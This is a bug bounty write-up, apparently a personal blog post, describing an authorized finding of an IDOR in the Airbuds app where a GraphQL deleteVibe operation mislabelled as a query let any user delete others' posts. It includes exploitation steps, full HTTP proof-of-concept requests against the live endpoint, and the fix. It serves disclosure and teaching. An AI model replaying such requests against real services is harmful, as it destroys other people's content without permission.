September 5, 2026
Airbuds Bug Bounty: How I Deleted Anyoneβs Post With a Single Request
Author: Andriy Melnyk Target: Airbuds (com.capp.poplive) Platform: iOS / Android Reported: July 2026 Status: Fixed and credited onβ¦

By Andriy Melnyk
5 min read
Author: Andriy Melnyk Target: Airbuds (com.capp.poplive) Platform: iOS / Android Reported: July 2026 Status: Fixed and credited on airbuds.fm/security/thanks
What's Airbuds?
Airbuds is a music-based social media app where you can share what you're listening to in real time, react to your friends' taste, and post "vibes" (basically short status posts). I did an authorized security review of the app and found a fun one: a mislabelled GraphQL operation that let any logged-in user permanently delete anyone else's vibe. No special privileges needed.
Here's how it went.
Recon
First step was getting a feel for the attack surface. My usual setup:
- Pulled the APK and decompiled it with
apktool - Analysed the iOS IPA using
ipatool - Combed through
AndroidManifest.xmlfor exported components, custom URL schemes, and any hardcoded API key references - Checked
Info.plistfor iOS-specific config - Proxied live traffic through Burp Suite on my iPhone
Honestly, this recon didn't surface as much as I expected it to, but through Burp Suite and the AndroidManifest.xml, I quickly found that the app runs on Apollo GraphQL, confirmed by ApolloInitializer showing up in the startup provider. All API traffic goes through one endpoint:
POST https://graph2.api.airbuds.fm/queryPOST https://graph2.api.airbuds.fm/queryOne thing worth noting: the JWTs are signed with EdDSA (Edwards-curve Digital Signature Algorithm). That means you can't tamper with or forge tokens without the server's private key, so token manipulation was off the table straight away. The auth layer itself seems quite solid.
The interesting stuff was elsewhere.
The Finding: IDOR on deleteVibe (Delete Anyone's Post)
Severity: High / P1 (CVSS 7.5)
What's the bug?
The deleteVibe GraphQL operation doesn't check whether the user making the request actually owns the vibe they're trying to delete. You just need a valid vibe ID and a valid auth token. It doesn't matter whose vibe it is. Just send the request and the vibe's gone.
That's a classic IDOR (Insecure Direct Object Reference). You're passing in an ID that references an object, and the server isn't checking whether you're allowed to touch it or not.
Why did this happen? The query vs. mutation mix-up
This is the interesting part. GraphQL has two operation types that matter here:
query: Read-only. You're fetching data. Backends typically treat these as "safe" and apply lighter authorization middleware accordingly.mutation: Write operations. These modify state, so backends usually apply stricter checks: ownership validation, rate limiting, audit logging, the usual.
While going through all the intercepted traffic in Burp, I noticed something odd. Every write operation in the app was correctly labeled as a mutation:
X-Apollo-Operation-Type: mutation β setCurrentUserMusicStatus
X-Apollo-Operation-Type: mutation β setBirthdate
X-Apollo-Operation-Type: mutation β ReactToPromptAnswer
X-Apollo-Operation-Type: mutation β ReportVibe
X-Apollo-Operation-Type: mutation β SaveProfileSpace
X-Apollo-Operation-Type: mutation β DeletePromptX-Apollo-Operation-Type: mutation β setCurrentUserMusicStatus
X-Apollo-Operation-Type: mutation β setBirthdate
X-Apollo-Operation-Type: mutation β ReactToPromptAnswer
X-Apollo-Operation-Type: mutation β ReportVibe
X-Apollo-Operation-Type: mutation β SaveProfileSpace
X-Apollo-Operation-Type: mutation β DeletePromptExcept one. deleteVibe, a permanently destructive operation, was labeled as a query:
X-Apollo-Operation-Type: query β DeleteVibe β οΈX-Apollo-Operation-Type: query β DeleteVibe β οΈTo be clear, this isn't only a cosmetic issue. The backend's authorization middleware almost certainly branches on operation type. Because deleteVibe seemed like a harmless read operation, it completely skipped the ownership checks that every mutation has to go through. Nobody ever enforced "does this user own this vibe?". The check just wasn't there.
The mislabelling probably happened on the client side in the Apollo iOS SDK and was never caught because, from a developer's perspective, it worked as intended and vibes got deleted. The bug was invisible during normal testing.
How to exploit it
The steps are pretty simple:
- Get a target vibe ID by reporting any user's vibe using
reportVibeOffensive. The vibe ID comes back in the response, or you can grab it from intercepted traffic. - Post a throwaway vibe on your own account so you have a legit delete request to intercept.
- Catch your own deletion request in Burp Suite.
- Swap in the target's vibe ID by replacing your
vibeIdwith theirs. - Forward the request, ensuring their vibe is deleted instantly.
Proof of Concept
Step 1: Grab the target vibe ID by reporting it
POST /query HTTP/2
Host: graph2.api.airbuds.fm
Content-Type: application/json
Accept: multipart/mixed;deferSpec=20220824,application/graphql-response+json,application/json
Apollographql-Client-Version: 1.18.4-372
Authorization: Bearer [REDACTED]
Priority: u=3, i
Accept-Language: en-GB,en;q=0.9
Accept-Encoding: gzip, deflate, br
X-Trace-Id: [REDACTED]
User-Agent: Poplive/372 CFNetwork/3860.200.71 Darwin/25.1.0
X-Apollo-Operation-Type: mutation
Apollographql-Client-Name: com.capp.poplive-apollo-ios
X-Apollo-Operation-Name: ReportVibe
{
"extensions": { "clientLibrary": { "name": "apollo-ios", "version": "1.22.0" } },
"operationName": "ReportVibe",
"query": "mutation ReportVibe($vibeId: ID!) { reportVibeOffensive(vibeId: $vibeId) }",
"variables": { "vibeId": "[TARGET_VIBE_ID]" }
}POST /query HTTP/2
Host: graph2.api.airbuds.fm
Content-Type: application/json
Accept: multipart/mixed;deferSpec=20220824,application/graphql-response+json,application/json
Apollographql-Client-Version: 1.18.4-372
Authorization: Bearer [REDACTED]
Priority: u=3, i
Accept-Language: en-GB,en;q=0.9
Accept-Encoding: gzip, deflate, br
X-Trace-Id: [REDACTED]
User-Agent: Poplive/372 CFNetwork/3860.200.71 Darwin/25.1.0
X-Apollo-Operation-Type: mutation
Apollographql-Client-Name: com.capp.poplive-apollo-ios
X-Apollo-Operation-Name: ReportVibe
{
"extensions": { "clientLibrary": { "name": "apollo-ios", "version": "1.22.0" } },
"operationName": "ReportVibe",
"query": "mutation ReportVibe($vibeId: ID!) { reportVibeOffensive(vibeId: $vibeId) }",
"variables": { "vibeId": "[TARGET_VIBE_ID]" }
}ReportVibe is correctly labeled as a mutation β nothing weird here, this is just how we get the ID.
Step 2: Delete the target's vibe
POST /query HTTP/2
Host: graph2.api.airbuds.fm
Content-Type: application/json
Accept: multipart/mixed;deferSpec=20220824,application/graphql-response+json,application/json
Apollographql-Client-Version: 1.18.4-372
Authorization: Bearer [REDACTED]
Priority: u=3, i
Accept-Language: en-GB,en;q=0.9
Accept-Encoding: gzip, deflate, br
X-Trace-Id: [REDACTED]
User-Agent: Poplive/372 CFNetwork/3860.200.71 Darwin/25.1.0
X-Apollo-Operation-Type: query
Apollographql-Client-Name: com.capp.poplive-apollo-ios
X-Apollo-Operation-Name: DeleteVibe
{
"extensions": { "clientLibrary": { "name": "apollo-ios", "version": "1.22.0" } },
"operationName": "DeleteVibe",
"query": "query DeleteVibe($vibeId: ID!) { deleteVibe(vibeID: $vibeId) }",
"variables": { "vibeId": "[TARGET_VIBE_ID]" }
}POST /query HTTP/2
Host: graph2.api.airbuds.fm
Content-Type: application/json
Accept: multipart/mixed;deferSpec=20220824,application/graphql-response+json,application/json
Apollographql-Client-Version: 1.18.4-372
Authorization: Bearer [REDACTED]
Priority: u=3, i
Accept-Language: en-GB,en;q=0.9
Accept-Encoding: gzip, deflate, br
X-Trace-Id: [REDACTED]
User-Agent: Poplive/372 CFNetwork/3860.200.71 Darwin/25.1.0
X-Apollo-Operation-Type: query
Apollographql-Client-Name: com.capp.poplive-apollo-ios
X-Apollo-Operation-Name: DeleteVibe
{
"extensions": { "clientLibrary": { "name": "apollo-ios", "version": "1.22.0" } },
"operationName": "DeleteVibe",
"query": "query DeleteVibe($vibeId: ID!) { deleteVibe(vibeID: $vibeId) }",
"variables": { "vibeId": "[TARGET_VIBE_ID]" }
}Notice: DeleteVibe is labeled query which is the emphasis of this write up.
Response:
HTTP/2 200 OK
Content-Type: application/json
{"data":{"deleteVibe":true}}HTTP/2 200 OK
Content-Type: application/json
{"data":{"deleteVibe":true}}Done. The vibe is wiped from the database and disappears from everyone's feeds immediately.
Impact
- Deletions are permanent with no undo
- At scale, it makes the vibes feature completely unreliable
- Silent destruction of user-generated content is a real legal and reputational risk
The Fix
Two things need to happen and both are important:
Fix 1: Reclassify deleteVibe as a mutation (the obvious one):
# What it was:
query DeleteVibe($vibeId: ID!) { deleteVibe(vibeID: $vibeId) }
# What it should be:
mutation DeleteVibe($vibeId: ID!) { deleteVibe(vibeID: $vibeId) }# What it was:
query DeleteVibe($vibeId: ID!) { deleteVibe(vibeID: $vibeId) }
# What it should be:
mutation DeleteVibe($vibeId: ID!) { deleteVibe(vibeID: $vibeId) }Fix 2: Add a server-side ownership check (the important one):
Honestly, Fix 1 alone isn't enough. Authorization should never rely purely on how the client labels an operation. The resolver itself needs to verify ownership:
1. Extract user ID from the JWT
2. Look up vibe ownership: SELECT owner_id FROM vibes WHERE id = $vibeId
3. Check: owner_id == authenticated_user_id
4. If not owner β 403 Forbidden
5. If owner β proceed with deletion1. Extract user ID from the JWT
2. Look up vibe ownership: SELECT owner_id FROM vibes WHERE id = $vibeId
3. Check: owner_id == authenticated_user_id
4. If not owner β 403 Forbidden
5. If owner β proceed with deletionThis is what a properly structured security system looks like. Even if the operation type is ever mislabelled again, the ownership check catches it. The server shouldn't trust the client's classification of its own requests.
Takeaways
The query vs mutation distinction isn't just a game of semantics. Middleware, rate limiters, and auth chains in GraphQL backends often behave differently depending on operation type. A write operation disguised as a read can quietly bypass all of that, which is exactly what happened here.
"It works" isn't the same as "it's secure." From a dev's perspective, deleteVibe was fine and vibes were deleted as expected. There was no error, no obvious failure. Security bugs like this are invisible to functional testing. You have to explicitly test cross-user authorization: can I do this to someone else's data?
Solid auth elsewhere doesn't guarantee it everywhere. Most of the API was well-locked down. For example, forUserId parameters consistently returned unknown argument errors, mutations were properly gated. That made this one stray operation stand out all the more when it actually worked.
Airbuds Team Response
The Airbuds team were incredibly helpful, and were quick to patch the issues, giving me updates and performing excellent triage. For a fairly small company, I am very impressed with how much they care about security and how professionally the dealt with the situation.
Links
https://www.linkedin.com/in/andriymelnyk2005/
andriy (@okandriy) on X larp cybersecurity guy i like obscure and retro tech stupid videos: @okandriy on youtube
gitandriy - Overview 20, studying CS @ University of Surrey Cybersecurity nerd π§ - gitandriyg